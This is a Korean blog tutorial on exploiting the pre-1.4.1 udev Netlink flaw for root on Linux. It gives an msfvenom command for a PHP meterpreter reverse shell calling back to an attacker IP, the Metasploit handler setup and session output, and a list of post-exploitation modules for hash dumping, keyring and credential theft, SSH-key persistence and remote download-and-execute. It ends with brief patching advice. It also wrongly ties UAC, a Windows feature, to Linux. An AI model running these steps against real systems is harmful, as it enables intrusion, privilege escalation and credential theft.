ν‹°μŠ€ν† λ¦¬ λ·°

udev κ°œμš”

udevλž€ " Userspace Device의 μ•½μžλ‘œ Linux ν™˜κ²½μ—μ„œ 컀널을 μœ„ν•œ μž₯치 κ΄€λ¦¬μž 역할을 ν•©λ‹ˆλ‹€.

 

udevλŠ” undeved / systemd-udevλΌλŠ” μ΄λ¦„μ˜ 데λͺ¬μœΌλ‘œ λ™μž‘ ν›„ μ‹œμŠ€ν…œμ—μ„œ λ””λ°”μ΄μŠ€ λ…Έλ“œλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. λ””λ°”μ΄μŠ€κ°€ detect 되면 sysfs에 λ“±λ‘λ˜κ³  ν•΄λ‹Ή λ””λ°”μ΄μŠ€λŠ” μ‚¬μš©μžμ˜ κ³΅κ°„μ—μ„œ /sys에 λ“±λ‘λ©λ‹ˆλ‹€.

 

κ·Έλ‹€μŒ udev 데λͺ¬μœΌλ‘œ Netlink Socket을 μ΄μš©ν•˜μ—¬ μƒˆλ‘œμš΄ λ””λ°”μ΄μŠ€κ°€ μƒμ„±λ˜μ—ˆλ‹€λŠ” λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜λŠ”λ°, λ§Œμ•½ Netlink λ©”μ‹œμ§€κ°€ 컀널 κ³΅κ°„μ—μ„œ μ‹œμž‘λ˜λŠ”μ§€ μ—¬λΆ€λ₯Ό ν™•μΈν•˜μ§€ μ•ŠμœΌλ©΄ κ³΅κ²©μžλŠ” λ³€μ‘°λœ Netlink λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜μ—¬ μ΅œμƒμœ„ κΆŒν•œ(root)을 νšλ“ν•  수 있게 λ©λ‹ˆλ‹€.

 

컀널(Kernal)μ΄λž€

운영체제의 핡심적인 λΆ€λΆ„μœΌλ‘œ 운영체제 이외에 μ‘μš© ν”„λ‘œκ·Έλž¨ μˆ˜ν–‰μ— ν•„μš”ν•œ μ—¬λŸ¬ μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€.

(1) Hardware와 Process의 " λ³΄μ•ˆ "을 λ‹΄λ‹Ή

(2) " μŠ€μΌ€μ€„λ§ κΈ°λŠ₯ " 즉 μžμ›μ„ 효과적으둜 κ΄€λ¦¬ν•˜μ—¬ μ—¬λŸ¬ μ‘μš© ν”„λ‘œκ·Έλž¨μ˜ 싀행을 μ›ν™œν•˜κ²Œ λ™μž‘

(3) " 좔상화 "λ₯Ό 톡해 λ³΅μž‘ν•œ 운영체제의 λ‚΄λΆ€λ₯Ό 감좔고 κΉ”λ”ν•˜κ³  μΌκ΄€λœ Interfaceλ₯Ό λ³΄μ—¬μ€Œ

 

μ·¨μ•½ 버전

1.4.1 μ΄μ „μ˜ udev

 

msfvenom -p php/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=μž„μ˜ν¬νŠΈ > /root/바탕화면/파일λͺ…지정

msfvenom을 톡해 php ν˜•μ‹μ˜ μ—­λ°©ν–₯ Exploit Payloadλ₯Ό μƒμ„±ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

FTP의 읽기/μ“°κΈ° κΆŒν•œμ΄ ν—ˆμš©λœ 읡λͺ… μ„œλΉ„μŠ€μ— 접근이 κ°€λŠ₯ν•˜λ‹€λŠ” κ°€μ •ν•˜μ— λ‘œκ·ΈμΈν•˜μ—¬ " put " λͺ…령을 톡해 Payloadλ₯Ό μ—…λ‘œλ“œν•˜κ² μŠ΅λ‹ˆλ‹€.

 

msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST AttackerIP
LHOST => AttackerIP
msf5 exploit(multi/handler) > set LPORT μž„μ˜ν¬νŠΈμ§€μ •
LPORT => μž„μ˜ν¬νŠΈμ§€μ •
msf5 exploit(multi/handler) > run

λŒ€μƒ μ„œλ²„μ— μ—…λ‘œλ“œν•˜μ˜€μœΌλ‹ˆ ν•Έλ“€λŸ¬λ₯Ό μ‹€ν–‰ν•˜μ—¬ Session 열릴 λ•ŒκΉŒμ§€ κΈ°λ‹€λ €μ•Ό ν•©λ‹ˆλ‹€. 포트 같은 κ²½μš°μ—λŠ” msfvenomμ—μ„œ μ§€μ •ν–ˆλ˜ ν¬νŠΈμ™€ λ™μΌν•˜κ²Œ μ…‹νŒ…

 

μ‚¬μš©μž κ΄€μ μ—μ„œ attack.phpλ₯Ό ν™•μΈν•˜κ²Œ 될 경우 μ‚¬μš©μžλŠ” κ³΅κ²©μžμ—κ²Œ μ—­λ°©ν–₯으둜 μ„Έμ…˜μ„ μ—°κ²°ν•˜λ„λ‘ μ‹œλ„ν•  것이며 κ³΅κ²©μžλŠ” μ‹€ν–‰ν•΄λ‘” ν•Έλ“€λŸ¬ 파일의 session 1 이 opened 된 것을 ν™•μΈν•˜κ³  좔가적인 post exploit 을 μ‹œλ„ν• κ²ƒμž…λ‹ˆλ‹€.

 

μ‚¬μš©μžκ°€ attack.php λ₯Ό ν΄λ¦­ν–ˆμ„λ•Œ 곡격자의 μ»€λ§¨λ“œμ°½μ—λŠ” session 이 ν™•λ¦½λ˜μ—ˆλ‹€λŠ”κ²ƒμ„ 확인할 수 있음

 [*] Started reverse TCP handler on 192.168.0.132:8080 
 [*] Sending stage (38288 bytes) to 192.168.0.131
 [*] Meterpreter session 1 opened (192.168.0.132:8080 -> 192.168.0.131:50949) at 2020-06-13 20:36:36 +0900

 

meterpreter shell을 톡해 λŒ€μƒ μ‹œμŠ€ν…œ 정보λ₯Ό 확인해본 κ²°κ³Ό μ •μƒμ μœΌλ‘œ Access 된 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

ν•˜μ§€λ§Œ 아직 μ΅œμƒμœ„ κΆŒν•œ(root) 이 μ•„λ‹ˆκΈ°μ— μ‚¬μš©μžμ˜ 계정 및 νŒ¨μŠ€μ›Œλ“œ 정보가 λ‹΄κΈ΄ shadow νŒŒμΌμ—λŠ” 접근이 λΆˆκ°€λŠ₯ν•©λ‹ˆλ‹€.

 

ν•˜μ§€λ§Œ udev 취약점을 톡해 ν˜„μž¬ 둜컬의 κΆŒν•œμ„ μƒμŠΉν•˜μ—¬ λͺ¨λ“  κΆŒν•œμ„ 갖도둝 ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

background λͺ¨λ“œλ‘œ λŒμ•„κ°€ udev 취약점을 μ΄μš©ν•œ λͺ¨λ“ˆμ„ μ‚¬μš©ν•΄μ„œ μ—°κ²°ν•˜μ˜€λ˜ session 1을 λŒ€μƒμœΌλ‘œ κΆŒν•œμƒμŠΉμ„ μ‹œλ„ν•΄μ•Όλ©λ‹ˆλ‹€.

 

정상적인 ν”„λ‘œμ„ΈμŠ€ μƒνƒœ μ •λ³΄μž…λ‹ˆλ‹€. PID κ°€ 2870 인 /sbin/udevd 데λͺ¬μ΄ μ‹€ν–‰ μ€‘μ΄μ§€λ§Œ κΆŒν•œμƒμŠΉ 곡격이 μ‹œμž‘λ  경우 ν•˜λ‹¨μ˜ μ‚¬μ§„μ²˜λŸΌ λ‹€λ₯Έ 점이 λ³΄μž…λ‹ˆλ‹€.

 

PIDκ°€ 2870 μ΄μ˜€λ˜ /sbin/udeved κ°€ λΆ€λͺ¨ ν”„λ‘œμ„ΈμŠ€(PPID)둜 ν•˜μ—¬κΈˆ μ΅œμƒμœ„ κΆŒν•œμœΌλ‘œ λΆ€μ—¬λ°›μ•„ μ‹€ν–‰λ˜κ³  μžˆλŠ” 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

λ˜ν•œ exploit payloadλŠ” tmp κ²½λ‘œμ—μ„œ PPIDκ°€ 2870으둜 λΆ€μ—¬λ˜μ—ˆλ˜ ν”„λ‘œμ„ΈμŠ€μ˜ PIDλ₯Ό μ‹€ν–‰ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. 보톡 UAC(User Access Control)을 우회 즉 " κ΄€λ¦¬μž κΆŒν•œ "으둜 κ΅¬λ™λ˜κΈ° μœ„ν•΄μ„œμž…λ‹ˆλ‹€.

 

κΆŒν•œ μƒμŠΉμ„ μ‹œλ„ ν›„ μ‹œμŠ€ν…œ 정보λ₯Ό λ‹€μ‹œ 확인해 λ³Έ κ²°κ³Ό μ΄μ „κ³ΌλŠ” λ‹€λ₯Έ 정보가 λ„μΆœλœ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ exploit 성곡 ν›„ μΆ”κ°€ 곡격을 μœ„ν•΄, gather(hash, password, tocken λ“±)ν•˜κ±°λ‚˜ capture (Keylogging λ“±λ“±)λ₯Ό ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

<이외에 μ‚¬μš©κ°€λŠ₯ν•œ λͺ…λ Ήμ–΄λ“€>

run post/linux/gather/checkcontainer
run post/linux/gather/checkvm
run post/linux/gather/enum_commands
run post/linux/gather/enum_configs
run post/linux/gather/enum_network
run post/linux/gather/enum_protections
run post/linux/gather/enum_psk
run post/linux/gather/enum_system
run post/linux/gather/enum_users_history
run post/linux/gather/enum_xchat
run post/linux/gather/gnome_commander_creds
run post/linux/gather/gnome_keyring_dump
run post/linux/gather/hashdump
run post/linux/gather/mount_cifs_creds
run post/linux/gather/openvpn_credentials
run post/linux/gather/phpmyadmin_credsteal
run post/linux/gather/pptpd_chap_secrets
run post/linux/gather/tor_hiddenservices
run post/linux/manage/dns_spoofing
run post/linux/manage/download_exec
run post/linux/manage/iptables_removal
run post/linux/manage/pseudo_shell
run post/linux/manage/sshkey_persistence

 


λŒ€μ‘λ°©μ•ˆ

μ‹œμŠ€ν…œμ μΈ λŒ€λΆ€λΆ„μ˜ 결함듀은 λŒ€κ²Œ μœ„ν—˜ν•œ κ²°κ³Όλ₯Ό μ΄ˆλž˜ν•  κ°€λŠ₯성이 λ†’κΈ° λ•Œλ¬Έμ— 운영 쀑 λ˜λŠ” μ‚¬μš© 쀑인 버전에 λŒ€ν•΄ 경각심을 가지고 μ΄μŠˆκ°€ μ‘΄μž¬ν•˜λŠ” 버전을 μ‚¬μš©ν•  경우 즉각 쑰치(패치)λ₯Ό μ·¨ν•  수 μžˆλ„λ‘ ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

 

λ˜ν•œ μƒˆλ‘œμš΄ 버전이 Release λ˜μ—ˆμ„ 경우 μ–΄λ– ν•œ 버그가 μˆ˜μ •λ˜μ—ˆλŠ”μ§€ 관심을 가지고 μžμ‹ μ˜ ν™˜κ²½μ— 맞게 μ μ ˆν•œ λ³΄μ•ˆ μˆ˜μ€€μ„ κ°€μ§ˆ 수 μžˆλ„λ‘ ν•˜λŠ”κ²ƒμ΄ μ’‹μŠ΅λ‹ˆλ‹€.

κ³΅μœ ν•˜κΈ° 링크
Comment